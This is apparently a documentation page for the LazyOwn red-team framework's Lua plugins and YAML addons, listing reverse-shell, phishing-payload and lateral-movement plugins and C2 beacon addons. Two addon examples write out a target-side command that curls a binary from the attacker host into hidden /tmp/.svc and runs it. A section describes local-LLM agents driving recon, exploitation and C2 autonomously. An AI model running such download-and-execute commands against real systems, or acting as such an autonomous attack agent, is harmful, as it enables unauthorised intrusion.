Repository navigation
Plugins Marketplace
Lua plugin layer for LazyOwn. Each .lua file registers one or more commands
with the framework via register_command. The Lua runtime is provided by
lupa (Python binding to LuaJIT). Plugins are auto-discovered at startup
alongside lazyaddons/.
Write a Lua plugin when the logic is a few lines of shell glue or string manipulation with no external dependencies, no Git clone, and no build step.
Write a YAML addon (lazyaddons/) when the tool needs to be cloned from
GitHub, compiled, or has non-trivial install steps.
function my_command()
local target = app.params["rhost"]
if not target then
return "Error: rhost is not set."
end
local result = io.popen("ping -c 1 " .. target):read("*a")
return result
end
register_command("my_command", my_command)Rules:
- Validate all parameters before use. Return an error string for missing params.
- Never crash the framework. Wrap risky calls in
pcall. - Always return a string. The CLI prints the return value directly.
- Use
app.params["key"]to readpayload.jsonvalues.
Every plugin needs a YAML file for auto-discovery, help text, and completion:
name: my_command
description: One-line description shown by help.
author: Your Name
version: "1.0"
enabled: true
tags:
- recon
- network
params:
- name: rhost
description: Target IP address
required: true
permissions:
- needs_network
requires_root: false
dependencies: []
outputs:
- console_output
notes: Optional additional usage notes.| Plugin | Description |
|---|---|
generate_c_reverse_shell |
Generates a C source reverse shell patched with lhost and lport. |
generate_cleanup_commands |
Produces cleanup commands to remove engagement artefacts from a Linux target. |
generate_html_payload |
Generates an HTML file with an embedded payload for phishing scenarios. |
generate_lateral_command |
Suggests lateral movement commands based on discovered credentials and OS. |
generate_linux_asm_reverse_shell |
Generates an x86-64 Linux assembly reverse shell stub. |
The Lua runtime exposes a single global app with these properties:
| Property | Type | Description |
|---|---|---|
app.params |
table | Read/write access to payload.json config |
app.params["rhost"] |
string | Current target IP/hostname |
app.params["lhost"] |
string | Local attacker IP |
app.params["lport"] |
number | Local port |
app.params["domain"] |
string | Target domain |
app.params["start_user"] |
string | Credential username |
app.params["start_pass"] |
string | Credential password |
All keys from payload.json are available via app.params["<key>"].
(LazyOwn) > my_command
(LazyOwn) > generate_c_reverse_shell
List all plugins:
(LazyOwn) > list_plugins
| Permission | Meaning |
|---|---|
needs_file_read |
Plugin reads files from the filesystem |
needs_file_write |
Plugin writes files to the filesystem |
needs_network |
Plugin makes network connections |
needs_exec |
Plugin spawns subprocesses |
Plugin not found — verify register_command("name", fn) is called at the
bottom of the Lua file and that the YAML enabled field is true.
Lua syntax error — run lua plugins/name.lua to check syntax before
loading. The lupa runtime logs load-time errors to sessions/access.log.
Parameter missing — use assign <key> <value> from the CLI to set the
required payload.json key.
Every plugin has a tier: official (maintained by the core team),
community (default), or experimental (unvetted). Tiers resolve from
plugins/tiers.yaml first, then an optional tier: field in the plugin's
own YAML. Filter the marketplace with marketplace list --tier official
and see the tier in marketplace info <name>.
Rate plugins operator-locally (stored in sessions/plugin_ratings.json,
never committed):
(LazyOwn) > marketplace rate amsi_bypass 5
(LazyOwn) > marketplace ratings
Declarative tool integration layer for LazyOwn. Each YAML file in this directory registers an external tool as a first-class CLI command, a pwntomate job, and an MCP-accessible tool — without touching any Python source.
There are currently 124 addons covering C2 frameworks, shellcode loaders, exploitation tools, scanners, AI agents, and post-exploitation utilities.
At startup, lazyown.py scans lazyaddons/*.yaml and auto-generates a
do_<name> command for each enabled addon. The command:
- Clones the repo from
repo_urltoinstall_pathif not present. - Runs
install_commandif the install path is a fresh clone. - Substitutes
{param}tokens with values frompayload.jsonand CLI args. - Executes
execute_commandinsideinstall_path. - If
lazycommandis defined, prints it as the command to run on the target.
name: shortname # CLI verb: do_shortname, also the tab-complete entry
description: | # Shown by help <name>; multi-line allowed
What the tool does.
enabled: true # false to skip at startup without deleting the file
tool:
name: Display Name
repo_url: https://github.com/user/repo.git
install_path: external/.exploit/toolname
execute_command: ./tool --option {param}
category: "10. Command & Control" # Must match an existing CLI categoryauthor: Author Name
version: "1.0"
os: linux # MITRE platform the addon targets (see table below)
trigger: # nmap service names that auto-suggest this addon
- microsoft-ds
- ldap
params:
- name: lhost
type: string
required: true
description: Attacker IP passed to the tool.
- name: lport
type: string
required: false
description: Listener port.
tool:
install_command: make # Run once after cloning; skip if empty
download_file: /tmp/.svc # Path on target where the payload lands
lazycommand: | # Command to run on the target
curl -sk "http://{lhost}:{lport}/payload" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &Declares the victim platform the addon targets. Consumed by do_explore,
do_recommend_next, and do_suggest_next to filter out addons that
cannot run against the active engagement. Accepted values:
| Value | Meaning |
|---|---|
any |
Operator-side / cross-platform (default) — never filtered out |
linux |
Linux victims (ELF, kernel exploits, native loaders) |
windows |
Windows victims (PE/DLL, BOFs, PowerShell payloads) |
macos |
macOS victims |
network |
Network appliances / protocol-level attacks |
containers |
Docker / Kubernetes targets |
saas |
SaaS abuse (Office 365, GitHub, etc.) |
iaas |
Cloud control planes (AWS, Azure, GCP) |
Unknown values fall back to any with a warning at load time.
List of nmap service names (e.g. microsoft-ds, http, ldap) that
should cause the exploration engine to surface this addon when those
services appear in a sessions/scan_*.nmap.xml. Special values:
-
[all]— match every discovered service (broad scanners). -
[]or omitted — addon is never auto-suggested by service discovery (manual / strategic tools, AI agents, frameworks).
The matcher is case-insensitive. Triggers do not fabricate evidence: only declare services the addon genuinely operates against.
| Token | Value source |
|---|---|
{lhost} |
payload.json["lhost"] |
{lport} |
payload.json["lport"] |
{rhost} |
payload.json["rhost"] |
{rport} |
payload.json["rport"] |
{domain} |
payload.json["domain"] |
{c2_port} |
payload.json["c2_port"] |
{<key>} |
Any key present in payload.json
|
All addon repos clone under external/.exploit/<name>. This keeps vendored
code out of the project root and under a consistent path that .gitignore
excludes.
The beacon family follows a specific build-and-stage pattern:
tool:
install_command: make
execute_command: >
git restore . ; git pull ; make &&
cp binary ../../../sessions/binary &&
echo "staged at sessions/binary"
lazycommand: >
curl -sk "http://{lhost}:{lport}/binary" -o /tmp/.svc &&
chmod +x /tmp/.svc && /tmp/.svc &The git restore . ; git pull before make ensures a fresh build. The binary
stages to sessions/ for delivery through the C2 file endpoint.
Current beacon addons:
-
beacon.yaml— Windows C beacon with Early Bird APC injection and BOF support -
blacksandbeacon.yaml— Linux C beacon with ELF dlopen BOF support (unique to LazyOwn) -
blacksandbeacon_bof.yaml— Linux BOF loader companion
The opencode_* family launches the opencode CLI non-interactively
(opencode run --auto) with the local ollama/qwen3.8:27b-c16k model to drive
the LazyOwn MCP server autonomously. Each addon is a phase-focused agent; the
operator task is appended to the agent prompt as CLI arguments.
(LazyOwn) > opencode_agent "recon 10.10.10.5 and report findings"
(LazyOwn) > opencode_recon
(LazyOwn) > opencode_exploit "target the web service on 8080"
(LazyOwn) > opencode_c2 "stage the beacon and verify callback"
(LazyOwn) > opencode_report
Infrastructure required (already configured in this repo):
-
opencode.json(project root) — registers thelazyownMCP server for opencode.miniosis disabled project-wide so autonomous runs are not slowed by its timeout. -
skills/lazyown_mcp_opencode.py— curated 15-tool MCP bridge with short names (sitrep,run,facts, ...) proxying to the full 148-tool server. Local models mishandle the longlazyown_lazyown_*names and large catalogs. -
qwen3.8:27b-c16k— ollama variant ofqwen3.8:27bwithnum_ctx 16384. The stock 4096-token context truncates the opencode system prompt and drops the MCP tools from the model's view. Create it with a Modelfile:FROM qwen3.8:27b PARAMETER num_ctx 16384then
ollama create qwen3.8:27b-c16k -f Modelfile.
The local 27B model runs mostly on CPU: expect minutes per step, and warm the model with a first call before long autonomous tasks.
01. Recon 07. Pivoting
02. Scanning 08. Credentials
03. Enumeration 09. Persistence
04. Post-Exploitation 10. Command & Control
05. Exploitation 11. Reporting
06. Privilege Escalation 12. Miscellaneous
(LazyOwn) > blacksandbeacon
(LazyOwn) > beacon
(LazyOwn) > toposwarm
List all registered addons:
(LazyOwn) > list_addons
Reload addons without restarting the shell:
(LazyOwn) > reload_addons
(LazyOwn) > lazyaddon_creator https://github.com/user/tool
Fetches repo metadata, infers install and execute commands, and writes the
YAML to lazyaddons/.
Clone fails — check network access. The URL must end with .git.
Install command fails — run cd external/.exploit/<name> && make manually.
Common causes: missing system packages (gcc, go, rust), wrong make target.
Parameter not substituted — verify the key exists in payload.json.
Use assign <key> <value> from the CLI to set it.
Command not found after adding YAML — run reload_addons or restart the
shell.
The gui and gui2 addons boot the PySide6 operator console from a separate
Qt virtualenv. Set LAZYOWN_QT_SITE_PACKAGES to that environment's
site-packages directory so the addon imports PySide6 without duplicating the
Qt binaries inside env/:
export LAZYOWN_QT_SITE_PACKAGES=/path/to/qt-venv/lib/python3.13/site-packagesWhen the variable is unset the addon runs python3 -m lazygui with the
current environment unchanged, so it still works when PySide6 is installed in
the active environment.
Generated offline by readmenator from commit 146a52570ef7. Edits here are overwritten by readmenator . --rebuild.
Start
Wiki
- community_0_cli_commands
- community_10_modules_opsec_scorer
- community_11_modules_finding_lifecycle
- community_12_modules_kerberos_core
- community_13_modules_saas_attacks
- community_14_modules_polymorphic_engine
- community_15_contrib_legacy
- community_16_scripts_journal
- community_17_modules_backdoor
- community_18_poc_tui
- community_19_scripts_check_contract_manifest
- community_1_modules_lazyc2
- community_20_scripts_migrate_lazyown
- community_21_tools
- community_22_orphans
- community_2_cli
- community_3_modules_autonomous_daemon
- community_4_modules_lazy_loop
- community_5_lazygui_panels
- community_6_skills_claude_md_orchestrator
- community_7_static_js
- community_8_modules_llm_budget
- community_9_modules_atomic_exploit_bridge
- concepts
- queries
- REPORT
Agent Docs
- API
- API_p10
- API_p11
- API_p12
- API_p13
- API_p14
- API_p15
- API_p16
- API_p17
- API_p18
- API_p19
- API_p2
- API_p20
- API_p21
- API_p22
- API_p23
- API_p3
- API_p4
- API_p5
- API_p6
- API_p7
- API_p8
- API_p9
- ARCHITECTURE
- ARCHITECTURE_p2
- ARCHITECTURE_p3
- ARCHITECTURE_p4
- ARCHITECTURE_p5
- ARCHITECTURE_p6
- ARCHITECTURE_p7
- CONCEPTS
- GOTCHAS
- INDEX
- INDEX_p2
- INDEX_p3
- KB_backdoor
- KB_blueprints
- KB_cgi-bin
- KB_claude_md_orchestrator
- KB_cli
- KB_cli_p2
- KB_cli_p3
- KB_cli_p4
- KB_cli_p5
- KB_commands
- KB_commands_p2
- KB_commands_p3
- KB_commands_p4
- KB_config
- KB_contract
- KB_core
- KB_core_p2
- KB_devtools
- KB_extensions
- KB_hermes-lazyown
- KB_integrations
- KB_js
- KB_js_p2
- KB_js_p3
- KB_js_p4
- KB_lazyc2
- KB_lazygui
- KB_lazyown-docker
- KB_legacy
- KB_legacy_p2
- KB_misc
- KB_modules
- KB_modules_p10
- KB_modules_p11
- KB_modules_p12
- KB_modules_p13
- KB_modules_p14
- KB_modules_p2
- KB_modules_p3
- KB_modules_p4
- KB_modules_p5
- KB_modules_p6
- KB_modules_p7
- KB_modules_p8
- KB_modules_p9
- KB_modules_tools
- KB_palettes
- KB_panels
- KB_plugins
- KB_poc_tui
- KB_root
- KB_root_p2
- KB_rootkit
- KB_scripts
- KB_security
- KB_services
- KB_skills
- KB_skills_claude_md_orchestrator_tests
- KB_skills_p2
- KB_skills_p3
- KB_skills_p4
- KB_skills_p5
- KB_skills_tests
- KB_tests
- KB_tests_p10
- KB_tests_p11
- KB_tests_p12
- KB_tests_p13
- KB_tests_p14
- KB_tests_p15
- KB_tests_p16
- KB_tests_p17
- KB_tests_p2
- KB_tests_p3
- KB_tests_p4
- KB_tests_p5
- KB_tests_p6
- KB_tests_p7
- KB_tests_p8
- KB_tests_p9
- KB_theme
- KB_tools
- KB_widgets
- KB_win_rootkit
- KB_windows
- MEMORY
- SECURITY
- SYMBOLS
- SYMBOLS_p10
- SYMBOLS_p11
- SYMBOLS_p12
- SYMBOLS_p13
- SYMBOLS_p14
- SYMBOLS_p15
- SYMBOLS_p16
- SYMBOLS_p17
- SYMBOLS_p18
- SYMBOLS_p19
- SYMBOLS_p2
- SYMBOLS_p20
- SYMBOLS_p21
- SYMBOLS_p22
- SYMBOLS_p23
- SYMBOLS_p24
- SYMBOLS_p25
- SYMBOLS_p26
- SYMBOLS_p27
- SYMBOLS_p28
- SYMBOLS_p29
- SYMBOLS_p3
- SYMBOLS_p30
- SYMBOLS_p31
- SYMBOLS_p32
- SYMBOLS_p33
- SYMBOLS_p34
- SYMBOLS_p35
- SYMBOLS_p36
- SYMBOLS_p37
- SYMBOLS_p38
- SYMBOLS_p39
- SYMBOLS_p4
- SYMBOLS_p40
- SYMBOLS_p41
- SYMBOLS_p5
- SYMBOLS_p6
- SYMBOLS_p7
- SYMBOLS_p8
- SYMBOLS_p9
Recipes